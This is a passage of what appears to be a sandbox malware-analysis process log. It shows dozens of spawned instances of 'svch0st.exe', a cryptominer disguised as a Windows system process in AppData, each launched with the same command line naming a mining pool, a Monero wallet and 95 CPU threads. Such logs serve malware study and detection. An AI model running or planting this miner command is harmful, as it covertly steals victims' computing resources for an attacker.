        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        180⤵
        
        PID:20204
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        181⤵
        
        PID:20328
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        182⤵
        
        PID:20440
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        183⤵
        
        PID:19712
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        184⤵
        
        PID:20508
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        185⤵
        
        PID:20600
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        186⤵
        
        PID:20688
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        187⤵
        
        PID:20804
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        188⤵
        
        PID:20900
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        189⤵
        
        PID:21024
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        190⤵
        
        PID:21140
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        191⤵
        
        PID:21240
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        192⤵
        
        PID:21328
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        193⤵
        
        PID:21444
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        194⤵
        
        PID:20928
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        195⤵
        
        PID:21556
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        196⤵
        
        PID:21644
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        197⤵
        
        PID:21768
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        198⤵
        
        PID:21876
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        199⤵
        
        PID:21964
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        200⤵
        
        PID:22068
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        201⤵
        
        PID:22188
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        202⤵
        
        PID:22276
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        203⤵
        
        PID:22396
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        204⤵
        
        PID:22500
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        205⤵
        
        PID:2216
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        206⤵
        
        PID:22564
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        207⤵
        
        PID:22656
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        208⤵
        
        PID:22740
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        209⤵
        
        PID:22840
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        210⤵
        
        PID:22940
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        211⤵
        
        PID:23060
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        212⤵
        
        PID:23164
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        213⤵
        
        PID:23260
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        214⤵
        
        PID:23372
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        215⤵
        
        PID:23468
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        216⤵
        
        PID:22720
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        217⤵
        
        PID:23596
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        218⤵
        
        PID:23684
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        219⤵
        
        PID:23816
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        220⤵
        
        PID:23924
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        221⤵
        
        PID:24052
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        222⤵
        
        PID:24164
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        223⤵
        
        PID:24268
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        224⤵
        
        PID:24372
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        225⤵
        
        PID:24468
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        226⤵
        
        PID:23716
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        227⤵
        
        PID:24604
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        228⤵
        
        PID:24716
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        229⤵
        
        PID:24828
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        230⤵
        
        PID:24920
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        231⤵
        
        PID:25048
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        232⤵
        
        PID:25148
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        233⤵
        
        PID:25244
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        234⤵
        
        PID:25348
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        235⤵
        
        PID:25456
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        236⤵
        
        PID:25552
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        237⤵
        
        PID:25176
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        238⤵
        
        PID:25660
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        239⤵
        
        PID:25748
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        240⤵
        
        PID:25852
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        241⤵
        
        PID:25964
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        242⤵
        
        PID:26044
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        243⤵
        
        PID:26140
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        244⤵
        
        PID:26224
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        245⤵
        
        PID:26320
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        246⤵
        
        PID:26424
        
